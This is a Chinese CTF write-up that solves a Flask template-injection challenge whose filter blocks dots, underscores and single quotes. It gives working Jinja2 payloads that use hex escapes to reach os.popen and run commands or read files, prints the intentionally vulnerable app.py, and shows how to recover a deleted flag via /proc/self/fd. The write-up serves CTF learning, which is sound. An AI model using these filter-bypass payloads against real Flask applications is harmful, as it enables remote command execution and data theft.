寫在最前面
在博主寫這個題的時候突然頁面無法交互,即點了那個Go按鈕並沒有提交數據沒有反應,后來搗鼓了大半天才發現是原HTML文件應用的JQuery在線庫連不上的原因,最后在寫這篇文章的時候又發現JQuery在線庫又能連上了......

這個在線庫當時博主無法連接上,而HTML中的JS代碼又使用了JQuery中定義的語法這就導致沒有相應的問題。通過控制台會發現是在HTML文件的這個位置出現了問題:

如果出現上述問題的話需要開啟VPN或其他方法,保證能連接到在線JQuery庫就能正常做題了。或者等上一段時間,說不定就像博主這樣突然又能連接上了。
關於Flask的SSTI基礎知識可以參考博主以前寫的入門向文章:SSTI(模板注入)--Flask(萌新向) | [BUUCTF題解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客園 (cnblogs.com)
開始解題
題目就點明了為flask的ssti,簡單的測試也證明了存在SSTI。

先測試哪些關鍵字被過濾了。經過一番測試后發現沒有關鍵字被過濾,倒是符號"."、"‘"和"_"被過濾了。

單引號'被過濾可以用雙引號"代替;至於點.和下划線_被過濾可以采用16進制來表示,用[](類似數組下標)的方式選定。知道怎么過濾了那就照着以前payload修改就好了。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}
先測試是否可行。

那去找找flag文件,但是根目錄下並沒有找到。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}

那就去讀取一下當前目錄下的配置文件。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}

讀取app.py。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy")["read"]()}}
還有另外一種讀取的方式,利用了Flask中定義的函數get_data來讀取數據(官方文檔:API — Flask 中文文檔 (2.0.1) (dormousehole.readthedocs.io))。

注意想使用這個函數必須先找到定義了這個函數的類才能調用,師傅們的payload為:
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
給出了flag的加密方式,加密后的flag存放在config中,那將flag讀取出來再解密就好了。

寫的簡陋的python解密腳本如下(在文章寫完前突然找到其他師傅的文章中說,由於采用的是異或算法所以對加密后的flag再次調用encode即可decode,Orz博主只知道寫爆破):
key='GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2='xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag_encoded='這里放加密后的flag'
flag=''
for x in range(len(flag_encoded)):
for i in range(33,127):
if flag_encoded[x]==chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
flag+=chr(i)
print(flag)
break
需要注意的是題目簡介中給出的key和key2和實際題目中是不同的,要按實際題目中的key和key2為准。
此外由於flag最初是存放在文件中,后由app.py讀取后刪除了該文件,所以可以利用這一點訪問/proc/self/fd/,在其中的3即使此前打開的flag文件。
具體原理可以參考這位師傅的文章:-----已搬運-------Linux的/proc/self/學習 ++ CTF例題_Zero_Adam的博客-CSDN博客
需要注意的是proc/self/的特性,按照文中師傅的說法,我們采用cat去讀取獲取的時關於cat進程的信息,所以應該采用此前的Flask中的get_data函數,這樣讀取時獲取到的是python進程的信息。
寫在最后面
師傅們好強a,看WP發現好多知識都不曾接觸過Orz,不知道多久才能望其項背。如果文中有不當或不對之處,歡迎各位師傅指正。
